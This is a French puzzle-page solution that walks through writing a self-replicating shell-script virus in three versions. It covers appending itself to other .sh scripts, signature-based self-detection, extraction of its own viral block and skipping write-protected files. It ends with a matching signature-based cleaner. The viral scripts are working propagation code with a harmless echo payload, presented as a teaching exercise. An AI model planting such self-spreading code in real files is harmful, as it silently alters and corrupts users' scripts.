Une solution en shell :

soit un répertoire contenant deux gentils scripts : angel.sh et cherub.sh
echo 'angel !'
echo 'cherub !'
Ecrivons un script shell qui transfère son code dans les autres script situés dans le même répertoire :
# id: virus-v1.sh
/bin/echo 'virus !'
for i in *.sh; do /bin/cat $0 >> "$i" ; done
./angel.sh
angel !
./virus-v1.sh
virus !
/bin/cat: ./virus-v1.sh: input file is output file
./angel.sh
angel !
virus !
/bin/cat: ./angel.sh: input file is output file
angel a bien été infecté, cependant virus-v1 présente un défaut : cat refuse d'exécuter cat virus-v1.sh >>virus-1.sh (et dans le 2e cas cat angel.sh >>angel.sh). Une alternative vouée à l'échec serait /bin/cat <$0 >>*.sh.
cat cherub.sh
echo 'cherub !'
# id: virus-v1.sh
/bin/echo 'virus !'
for i in *.sh; do /bin/cat $0 >> "$i" ; done
echo 'angel !'
# id: virus-v1.sh
/bin/echo 'virus !'
for i in *.sh; do /bin/cat $0 >> "$i" ; done
cherub contient deux fois le code viral, en plus angel lui a transféré echo "angel !", qui ne fait pas partie du virus initial. Ainsi virus-v2 devra :
  1. ne pas contaminer un agent déjà infecté (en effet un script contaminé 50 fois devrait alors contenir 249 fois le code viral, ce qui commence à faire beaucoup ; dès lors le virus doit être capable de détecter sa propre présence. Il embarque alors le mécanisme de sa propre détection, ce qui facilite le travail des éditeurs d'anti-virus.)
  2. faire en sorte que les agents infectés transfèrent uniquement la charge virale aux scripts sains (ainsi le virus doit pouvoir s'isoler du code environnant ; pour cela, soit le virus génère le code ab initio, soit il l'extrait.)
Repartons avec les scripts sains angel et cherub, et implémentons un schéma simple de détection : le virus comporte une signature et infecte uniquement les scripts où cette signature est absente.
# id: virus-v2.sh
/bin/echo 'virus !'
for i in *.sh; do grep -c -q "sig-v2-xferpow@" "$i" || /bin/cat $0 >> "$i" ; done
./virus-v2.sh
virus !
./virus-v2.sh
virus !
./angel.sh
angel !
virus !
echo 'echo "fairy !"' > fairy.sh && ./angel.sh
angel !
virus !
cat fairy.sh
echo "fairy !"
echo 'angel !'
# id: virus-v2.sh
/bin/echo "virus !"
for i in *.sh; do grep -c -q "sig-v2-xferpow@" "$i" || /bin/cat $0 >> "$i" ; done
La détection des scripts contaminés est OK, reste l'extraction de code, et en bonus la détection des fichiers protégés en écriture.
# id: virus-v3.sh
sig="sig-v3-xferpow@"
/bin/echo "virus !"
vcode=$(grep -B 1 -A 3 $sig "$0")
for i in *.sh; do [ -w "$i" ] && (grep -c -q $sig "$i" || /bin/echo "$vcode" >> "$i") ; done
L'antivirus serait quelque chose du genre :
# id: av-v3.sh
sig="sig-v3""-xferpow@"
for i in *.sh; do /bin/echo -n "checking $i : " && [ -w "$i" ] && (grep -c -q $sig "$i" &&\
 (/bin/echo "infected, clearing" && /bin/echo\
 "$(sed $(($(grep -n $sig "$i"|cut -d: -f 1)-1)),+4d "$i")" >"$i") ||\
 /bin/echo "clear") || /bin/echo "write-protected" ; done
exit 0
Son fonctionnement est laissé en exercice.

A suivre... (?)

Retour à l'énigme

Retour aux énigmes

Accueil